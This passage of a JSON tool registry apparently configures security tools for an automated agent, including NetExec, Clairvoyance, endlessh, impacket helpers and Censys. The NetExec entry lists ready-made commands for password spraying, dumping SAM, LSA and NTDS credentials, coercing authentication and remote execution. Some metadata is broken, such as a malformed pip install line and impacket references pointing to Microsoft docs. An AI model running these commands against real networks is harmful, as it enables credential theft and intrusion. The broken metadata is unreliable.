    "_body": "\n# NetExec (nxc) — AD Post-Exploitation Framework\n\nNetExec (formerly CrackMapExec, abbreviated `nxc`) is a swiss-army knife for Active Directory post-exploitation. It provides protocol-aware enumeration, credential spraying, automatic credential dumping, and lateral movement across SMB, LDAP, WinRM, and more.\n\n## Key Features\n\n- **Protocol support**: SMB, LDAP, WinRM, MSSQL\n- **Module system**: Extensible Python modules for custom attack logic\n- **Authentication**: Password, NTLM hash, Kerberos tickets\n- **Output**: Colored console, JSON, bloodhound-compatible formats\n\n## Common Protocols\n\n| Protocol | Command Prefix | Use Case |\n|----------|---------------|----------|\n| SMB     | `nxc smb`    | Share enumeration, RID brute, SAM/LSA/DPAPI dump, command exec |\n| LDAP    | `nxc ldap`   | User enumeration, AS-REP roast, kerberoast, delegation |\n| WinRM   | `nxc winrm`  | Remote command execution via WinRM |\n| MSSQL   | `nxc mssql`  | SQL Server enumeration and query execution |\n",
    "_source": "netexec.md",
    "allowed-tools": [
      "netexec"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.credential.dump",
        "description": "Dumped credentials from SAM/LSA/DPAPI",
        "trust_level": "verified"
      },
      {
        "type": "security.ntds.dump",
        "description": "NTDS.dit dumped domain credentials",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "CredentialAccess",
      "Discovery",
      "LateralMovement",
      "PrivilegeEscalation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.enum.smb",
      "security.enum.ldap",
      "security.enum.winrm",
      "security.bruteforce.passwordspray",
      "security.credential.dump",
      "security.lateral.smbexec",
      "security.lateral.winrmexec",
      "security.ad.ridbrute",
      "security.ad.asreproast",
      "security.ad.kerberoast",
      "security.ad.sessions",
      "security.ad.shares",
      "security.ad.gmsa",
      "security.ad.trusteddelegation",
      "security.ad.coerce",
      "security.ad.dpapi"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP address or hostname"
        },
        {
          "type": "credential.username",
          "description": "Domain username"
        },
        {
          "type": "credential.password",
          "description": "Plaintext password"
        },
        {
          "type": "credential.hash",
          "description": "NTLM hash for pass-the-hash"
        }
      ],
      "outputs": [
        {
          "type": "security.credential.dump",
          "description": "Extracted credentials"
        },
        {
          "type": "security.enum.result",
          "description": "Enumeration results (users, groups, shares, sessions)"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3",
      "impacket",
      "lsassy"
    ],
    "description": "Post-exploitation framework for Active Directory assessment that automates enumeration, lateral movement, and attack execution against Windows domain networks.",
    "examples": [
      {
        "description": "Enumerate SMB hosts, OS versions, and sign-in status",
        "command": "netexec smb 10.10.10.0/24"
      },
      {
        "description": "RID brute force to enumerate domain users",
        "command": "netexec smb 10.10.10.1 -u guest -p '' --rid-brute"
      },
      {
        "description": "Enumerate password policy (null session)",
        "command": "netexec smb 10.10.10.1 -u '' -p '' --pass-pol"
      },
      {
        "description": "Enumerate active sessions on remote hosts",
        "command": "netexec smb 10.10.10.0/24 -u user -p pass --sessions"
      },
      {
        "description": "Enumerate domain users via SAMR",
        "command": "netexec smb 10.10.10.1 -u user -p pass --users"
      },
      {
        "description": "Enumerate domain groups",
        "command": "netexec smb 10.10.10.1 -u user -p pass --groups"
      },
      {
        "description": "Enumerate local groups on target",
        "command": "netexec smb 10.10.10.1 -u user -p pass --local-groups"
      },
      {
        "description": "Enumerate accessible SMB shares",
        "command": "netexec smb 10.10.10.1 -u user -p pass --shares"
      },
      {
        "description": "Enumerate disks via SMB",
        "command": "netexec smb 10.10.10.1 -u user -p pass --disks"
      },
      {
        "description": "List relay candidates (SMB signing disabled)",
        "command": "netexec smb 10.10.10.0/24 --gen-relay-list relay.txt"
      },
      {
        "description": "Enumerate logged-on users via SMB",
        "command": "netexec smb 10.10.10.0/24 -u user -p pass --loggedon-users"
      },
      {
        "description": "LDAP enumeration of domain users",
        "command": "netexec ldap 10.10.10.1 -u user -p pass --users"
      },
      {
        "description": "LDAP AS-REP roasting",
        "command": "netexec ldap 10.10.10.1 -u user -p pass --asreproast asrep.txt"
      },
      {
        "description": "LDAP Kerberoasting",
        "command": "netexec ldap 10.10.10.1 -u user -p pass --kerberoast kerb.txt"
      },
      {
        "description": "Find gMSA accounts",
        "command": "netexec ldap 10.10.10.1 -u user -p pass --gmsa"
      },
      {
        "description": "Find trusted-for-delegation accounts",
        "command": "netexec ldap 10.10.10.1 -u user -p pass --trusted-for-delegation"
      },
      {
        "description": "Password spray against SMB",
        "command": "netexec smb 10.10.10.0/24 -u users.txt -p 'Password123' --continue-on-success"
      },
      {
        "description": "SMB command execution (psexec-style)",
        "command": "netexec smb 10.10.10.1 -u user -p pass -x whoami"
      },
      {
        "description": "Enable WDigest on target",
        "command": "netexec smb 10.10.10.1 -u user -p pass -M wdigest"
      },
      {
        "description": "Dump SAM registry hives",
        "command": "netexec smb 10.10.10.1 -u admin -p pass --sam"
      },
      {
        "description": "Dump LSA secrets",
        "command": "netexec smb 10.10.10.1 -u admin -p pass --lsa"
      },
      {
        "description": "Dump NTDS.dit domain database",
        "command": "netexec smb 10.10.10.1 -u admin -p pass --ntds"
      },
      {
        "description": "Dump credentials with lsassy",
        "command": "netexec smb 10.10.10.1 -u admin -p pass -M lsassy"
      },
      {
        "description": "Extract DPAPI secrets/blobs",
        "command": "netexec smb 10.10.10.1 -u admin -p pass -M dpapi"
      },
      {
        "description": "Timeroasting — extract timestamp hashes from SMB",
        "command": "netexec smb 10.10.10.1 -u user -p pass -M timeroast"
      },
      {
        "description": "Coerce authentication via ms-efsr / coerce_plus",
        "command": "netexec smb 10.10.10.1 -u user -p pass -M coerce_plus"
      },
      {
        "description": "Change AD user password",
        "command": "netexec smb 10.10.10.1 -u admin -p pass -M change_password -o OLD_PASS=old NEW_PASS=new"
      },
      {
        "description": "Get user description fields (often contain passwords)",
        "command": "netexec smb 10.10.10.1 -u user -p pass -M get-desc-users"
      },
      {
        "description": "Find AS-REP roastable accounts with get_user_Password=notrequired",
        "command": "netexec smb 10.10.10.1 -u user -p pass -M get_user_Password -o PASSWORD=notrequired"
      }
    ],
    "execution": {
      "template": "netexec {protocol} {target} -u {username} -p {password}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdin"
    ],
    "global_vars": {
      "target": "ip",
      "username": "user",
      "domain": "domain"
    },
    "id": "security-framework-netexec",
    "install": [
      {
        "method": "pip",
        "commands": [
          "pip install -netexec-formerly-crackmapexec-"
        ]
      }
    ],
    "items": [
      "Password",
      "Hash",
      "NoCreds"
    ],
    "name": "NetExec (formerly CrackMapExec)",
    "namespace": "security:framework:netexec",
    "parameters": [
      {
        "name": "protocol",
        "type": "string",
        "required": true,
        "description": "Protocol to use: smb, ldap, winrm, mssql"
      },
      {
        "name": "target",
        "type": "string",
        "required": true,
        "description": "Target IP address or CIDR range"
      },
      {
        "name": "username",
        "type": "string",
        "required": false,
        "description": "Domain username for authentication"
      },
      {
        "name": "password",
        "type": "string",
        "required": false,
        "description": "Plaintext password for authentication"
      },
      {
        "name": "hash",
        "type": "string",
        "required": false,
        "description": "NTLM hash for pass-the-hash authentication"
      },
      {
        "name": "domain",
        "type": "string",
        "required": false,
        "description": "Target domain name"
      }
    ],
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "NetExec GitHub",
        "url": "https://github.com/Pennyw0rth/NetExec"
      },
      {
        "label": "CrackMapExec wiki",
        "url": "https://wiki.crackmapexec.org/"
      }
    ],
    "related_tools": [
      "impacket",
      "bloodhound",
      "evil-winrm"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "SMB",
      "LDAP",
      "WinRM"
    ],
    "techniques": [
      "credential-access",
      "discovery",
      "lateral-movement",
      "enumeration",
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# Clairvoyance — GraphQL Schema Enumeration\n\nClairvoyance is a Python-based tool for GraphQL schema enumeration that uses introspection queries combined with field suggestion brute-force to recover API schema definitions even when introspection is partially restricted.\n\n## Usage\n\n```bash\n# Basic enumeration\nclairvoyance -u https://api.example.com/graphql\n\n# Save schema JSON\nclairvoyance -u https://api.example.com/graphql -j schema.json\n\n# Use wordlist for field discovery\nclairvoyance -u https://api.example.com/graphql -w common_fields.txt\n\n# Authenticated scan\nclairvoyance -u https://api.example.com/graphql -H \"Cookie: session=abc123\"\n```\n",
    "_source": "clairvoyance.md",
    "allowed-tools": [
      "clairvoyance",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "graphql.schema.json",
        "description": "Reconstructed GraphQL schema",
        "mime": "application/json",
        "trust_level": "verified"
      },
      {
        "type": "report.txt",
        "description": "Schema enumeration results",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery",
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "graphql.enum.schema",
      "graphql.discovery.field",
      "graphql.introspection"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "GraphQL endpoint URL"
        }
      ],
      "outputs": [
        {
          "type": "graphql.schema.json",
          "description": "Reconstructed GraphQL schema as JSON",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "GraphQL schema enumeration tool that uses introspection queries and field suggestion brute-force to recover API schema definitions.",
    "examples": [
      {
        "description": "Basic GraphQL schema enumeration",
        "command": "clairvoyance -u https://api.example.com/graphql"
      },
      {
        "description": "Save schema to file with custom wordlist",
        "command": "clairvoyance -u https://api.example.com/graphql -j schema.json -w wordlist.txt"
      },
      {
        "description": "Use proxy and custom header",
        "command": "clairvoyance -u https://api.example.com/graphql -p http://127.0.0.1:8080 -H \"Authorization: Bearer token\""
      }
    ],
    "execution": {
      "template": "clairvoyance {flag-json} {flag-wordlist} {flag-threads} {flag-header} {flag-proxy} -u {url}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "id": "security-graphql-clairvoyance",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/noperator/clairvoyance.git",
        "commands": [
          "git clone https://github.com/noperator/clairvoyance.git"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "clairvoyance",
    "namespace": "security:graphql:clairvoyance",
    "parameters": [
      {
        "name": "url",
        "type": "string",
        "required": true,
        "description": "GraphQL endpoint URL",
        "aliases": [
          "-u",
          "--url"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-json",
        "type": "string",
        "required": false,
        "description": "Output file for the reconstructed schema JSON",
        "aliases": [
          "-j",
          "--json"
        ],
        "flag": "-j"
      },
      {
        "name": "flag-wordlist",
        "type": "string",
        "required": false,
        "description": "Wordlist file for field name bruteforce",
        "aliases": [
          "-w",
          "--wordlist"
        ],
        "flag": "-w"
      },
      {
        "name": "flag-threads",
        "type": "integer",
        "required": false,
        "description": "Number of threads for field discovery",
        "aliases": [
          "-t",
          "--threads"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-header",
        "type": "string",
        "required": false,
        "description": "Custom HTTP header (name:value)",
        "aliases": [
          "-H",
          "--header"
        ],
        "flag": "-H"
      },
      {
        "name": "flag-proxy",
        "type": "string",
        "required": false,
        "description": "HTTP proxy to use",
        "aliases": [
          "-p",
          "--proxy"
        ],
        "flag": "-p"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Clairvoyance GitHub",
        "url": "https://github.com/nicholasaleks/clairvoyance"
      }
    ],
    "related_tools": [
      "burpsuite",
      "owasp-zap",
      "nmap"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [
      "HTTP"
    ],
    "techniques": [
      "discovery",
      "enumeration"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "graphql-schema"
      ],
      "consumes": [
        "target-url"
      ]
    }
  },
  {
    "_body": "\n# endlessh — SSH Tar Pit\n\nendlessh is a minimalist SSH tar pit that keeps clients occupied with an endless banner, consuming their resources without providing a usable shell. It's useful for frustrating automated brute-force scanners and reducing SSH login attempts.\n\n## Usage\n\n```bash\n# Default: listen on port 22, log to stderr\nendlessh\n\n# Listen on custom port with verbose logging\nendlessh -p 2222 -v\n\n# Bind to specific address and log to file\nendlessh -b 192.168.1.100 -l /var/log/endlessh.log\n\n# Slow response (500ms between lines)\nendlessh -m 500\n```\n",
    "_source": "endlessh.md",
    "allowed-tools": [
      "endlessh",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "honeypot.log",
        "description": "Connection logs",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "DefenseEvasion"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "honeypot.ssh.tarpit",
      "honeypot.ssh.attract",
      "defense.ssh.rate-limit"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.port",
          "description": "SSH port to listen on"
        }
      ],
      "outputs": [
        {
          "type": "honeypot.log",
          "description": "Log file with connection attempts",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "SSH tar pit that slowly sends an endless banner to keep SSH clients connected, consuming their resources and preventing brute force attacks.",
    "examples": [
      {
        "description": "Run with default settings",
        "command": "endlessh"
      },
      {
        "description": "Listen on port 2222 with verbose logging",
        "command": "endlessh -p 2222 -v"
      },
      {
        "description": "Custom bind address and log file",
        "command": "endlessh -b 192.168.1.100 -l /var/log/endlessh.log"
      },
      {
        "description": "Slow response (500ms delay)",
        "command": "endlessh -m 500"
      }
    ],
    "execution": {
      "template": "endlessh {flag-port} {flag-bind} {flag-ms} {flag-verbose} {flag-log}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "interactive",
      "network-intensive",
      "pipes-stdout",
      "remote"
    ],
    "id": "security-honeypot-endlessh",
    "install": [
      {
        "method": "apt",
        "package_name": "endlessh",
        "commands": [
          "apt-get install -y endlessh"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "endlessh",
    "namespace": "security:honeypot:endlessh",
    "parameters": [
      {
        "name": "flag-port",
        "type": "integer",
        "required": false,
        "description": "Port to listen on (default 22)",
        "aliases": [
          "-p",
          "--port"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-bind",
        "type": "string",
        "required": false,
        "description": "Address to bind to (default all)",
        "aliases": [
          "-b",
          "--bind"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-ms",
        "type": "integer",
        "required": false,
        "description": "Milliseconds to sleep between lines (default 100)",
        "aliases": [
          "-m",
          "--ms"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-verbose",
        "type": "boolean",
        "required": false,
        "description": "Log IP addresses",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-log",
        "type": "string",
        "required": false,
        "description": "Log file path",
        "aliases": [
          "-l",
          "--log"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-version",
        "type": "boolean",
        "required": false,
        "description": "Print version and exit",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      }
    ],
    "phase": "defense-evasion",
    "platforms": [
      "linux",
      "bsd",
      "cross-platform"
    ],
    "references": [
      {
        "label": "endlessh GitHub",
        "url": "https://github.com/skeeto/endlessh"
      }
    ],
    "related_tools": [
      "cowrie",
      "kippo"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [
      "SSH"
    ],
    "techniques": [
      "defense-evasion",
      "monitoring"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "connection-log"
      ],
      "consumes": [
        "target-port"
      ]
    }
  },
  {
    "_body": "",
    "_source": "impacket-samrdump.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Dumps SAM (Security Account Manager) information from remote systems.",
    "examples": [
      {
        "description": "Display help for impacket-samrdump",
        "command": "impacket-samrdump --help"
      }
    ],
    "execution": {
      "template": "impacket-samrdump --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "impacket-samrdump",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "pipx install impacket"
        ]
      }
    ],
    "mitre_ids": [
      "T1003"
    ],
    "name": "impacket-samrdump",
    "namespace": "security:impacket:credential",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "impacket-samrdump Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/impacket-samrdump"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "impacket-secretsdump.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Impacket secretsdump - extracts secrets from Windows systems.",
    "examples": [
      {
        "description": "Display help for impacket-secretsdump",
        "command": "impacket-secretsdump --help"
      }
    ],
    "execution": {
      "template": "impacket-secretsdump --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "impacket-secretsdump",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "pipx install impacket"
        ]
      }
    ],
    "mitre_ids": [
      "T1003"
    ],
    "name": "impacket-secretsdump",
    "namespace": "security:impacket:credential",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "impacket-secretsdump Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/impacket-secretsdump"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "impacket-mssqlexec.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Impacket MSSQLexec - executes commands via MSSQL server.",
    "examples": [
      {
        "description": "Display help for impacket-mssqlexec",
        "command": "impacket-mssqlexec --help"
      }
    ],
    "execution": {
      "template": "impacket-mssqlexec --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "impacket-mssqlexec",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "pipx install impacket"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "impacket-mssqlexec",
    "namespace": "security:impacket:database",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "impacket-mssqlexec Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/impacket-mssqlexec"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "impacket-rpcdump.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Dumps RPC endpoint information from remote systems.",
    "examples": [
      {
        "description": "Display help for impacket-rpcdump",
        "command": "impacket-rpcdump --help"
      }
    ],
    "execution": {
      "template": "impacket-rpcdump --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "impacket-rpcdump",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "pipx install impacket"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "impacket-rpcdump",
    "namespace": "security:impacket:enumeration",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "impacket-rpcdump Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/impacket-rpcdump"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "impacket-atexec.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Impacket ATexec - executes commands via Windows Task Scheduler.",
    "examples": [
      {
        "description": "Display help for impacket-atexec",
        "command": "impacket-atexec --help"
      }
    ],
    "execution": {
      "template": "impacket-atexec --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "impacket-atexec",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "pipx install impacket"
        ]
      }
    ],
    "mitre_ids": [
      "T1053"
    ],
    "name": "impacket-atexec",
    "namespace": "security:impacket:execution",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "impacket-atexec Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/impacket-atexec"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "impacket-dcomexec.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Impacket DCOMexec - executes commands via DCOM protocol.",
    "examples": [
      {
        "description": "Display help for impacket-dcomexec",
        "command": "impacket-dcomexec --help"
      }
    ],
    "execution": {
      "template": "impacket-dcomexec --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "impacket-dcomexec",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "pipx install impacket"
        ]
      }
    ],
    "mitre_ids": [
      "T1047"
    ],
    "name": "impacket-dcomexec",
    "namespace": "security:impacket:execution",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "impacket-dcomexec Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/impacket-dcomexec"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "impacket-psexec.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Impacket PsExec - executes processes on remote Windows systems.",
    "examples": [
      {
        "description": "Display help for impacket-psexec",
        "command": "impacket-psexec --help"
      }
    ],
    "execution": {
      "template": "impacket-psexec --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "impacket-psexec",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "pipx install impacket"
        ]
      }
    ],
    "mitre_ids": [
      "T1047"
    ],
    "name": "impacket-psexec",
    "namespace": "security:impacket:execution",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "impacket-psexec Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/impacket-psexec"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "impacket-smbexec.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Impacket SMBexec - executes commands via SMB protocol.",
    "examples": [
      {
        "description": "Display help for impacket-smbexec",
        "command": "impacket-smbexec --help"
      }
    ],
    "execution": {
      "template": "impacket-smbexec --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "impacket-smbexec",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "pipx install impacket"
        ]
      }
    ],
    "mitre_ids": [
      "T1047"
    ],
    "name": "impacket-smbexec",
    "namespace": "security:impacket:execution",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "impacket-smbexec Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/impacket-smbexec"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "impacket-wmiexec.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Impacket WMIexec - executes commands via WMI protocol.",
    "examples": [
      {
        "description": "Display help for impacket-wmiexec",
        "command": "impacket-wmiexec --help"
      }
    ],
    "execution": {
      "template": "impacket-wmiexec --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "impacket-wmiexec",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "pipx install impacket"
        ]
      }
    ],
    "mitre_ids": [
      "T1047"
    ],
    "name": "impacket-wmiexec",
    "namespace": "security:impacket:execution",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "impacket-wmiexec Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/impacket-wmiexec"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "impacket-getST.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Gets Kerberos Service Tickets using credentials.",
    "examples": [
      {
        "description": "Display help for impacket-getST",
        "command": "impacket-getST --help"
      }
    ],
    "execution": {
      "template": "impacket-getST --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "impacket-getst",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "pipx install impacket"
        ]
      }
    ],
    "mitre_ids": [
      "T1558"
    ],
    "name": "impacket-getST",
    "namespace": "security:impacket:kerberos",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "impacket-getST Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/impacket-getST"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "impacket-getTGT.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Gets Kerberos Ticket Granting Tickets (TGT) from a KDC.",
    "examples": [
      {
        "description": "Display help for impacket-getTGT",
        "command": "impacket-getTGT --help"
      }
    ],
    "execution": {
      "template": "impacket-getTGT --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "impacket-gettgt",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "pipx install impacket"
        ]
      }
    ],
    "mitre_ids": [
      "T1558"
    ],
    "name": "impacket-getTGT",
    "namespace": "security:impacket:kerberos",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "impacket-getTGT Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/impacket-getTGT"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "impacket-ticketer.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Creates golden/silver Kerberos tickets.",
    "examples": [
      {
        "description": "Display help for impacket-ticketer",
        "command": "impacket-ticketer --help"
      }
    ],
    "execution": {
      "template": "impacket-ticketer --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "impacket-ticketer",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "pipx install impacket"
        ]
      }
    ],
    "mitre_ids": [
      "T1558"
    ],
    "name": "impacket-ticketer",
    "namespace": "security:impacket:kerberos",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "impacket-ticketer Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/impacket-ticketer"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "impacket-reg.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Remote registry manipulation tool from Impacket.",
    "examples": [
      {
        "description": "Display help for impacket-reg",
        "command": "impacket-reg --help"
      }
    ],
    "execution": {
      "template": "impacket-reg --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "impacket-reg",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "pipx install impacket"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "impacket-reg",
    "namespace": "security:impacket:registry",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "impacket-reg Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/impacket-reg"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n# Censys — Internet Asset Search Engine\n\nCensys provides a command-line interface to query the Censys internet intelligence platform for discovering exposed devices, open ports, services, and TLS certificates across the public internet. It can be used for attack surface management, asset discovery, and reconnaissance.\n\n## Search Queries\n\n| Pattern | Description |\n|---------|-------------|\n| `services.service_name: SSH` | Find SSH servers |\n| `services.port: 443` | Find HTTPS services |\n| `names: example.com` | Search by domain |\n| `location.country: Japan` | Filter by country |\n| `labels: {cdn,cloud}` | Filter by infrastructure |\n\n## Common Searches\n\n```bash\n# Search for exposed databases\ncensys search \"services.service_name: MongoDB\"\n\n# Search for all services on a specific IP\ncensys view 198.51.100.1\n\n# Search for certificates by organization\ncensys search \"organization: Example\" --index certificates\n\n# Search with geographic filter\ncensys search \"services.service_name: RDP AND location.country: US\"\n\n# Output as JSON\ncensys search \"services.port: 22\" --json\n```\n\n## Automation\n\n```bash\n# Batch query multiple IPs\ncat ips.txt | xargs -I{} censys view {} > results.json\n```\n",
    "_source": "censys.md",
    "allowed-tools": [
      "censys",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.intel.search.query",
        "description": "Censys search results",
        "mime": "application/json",
        "trust_level": "verified"
      },
      {
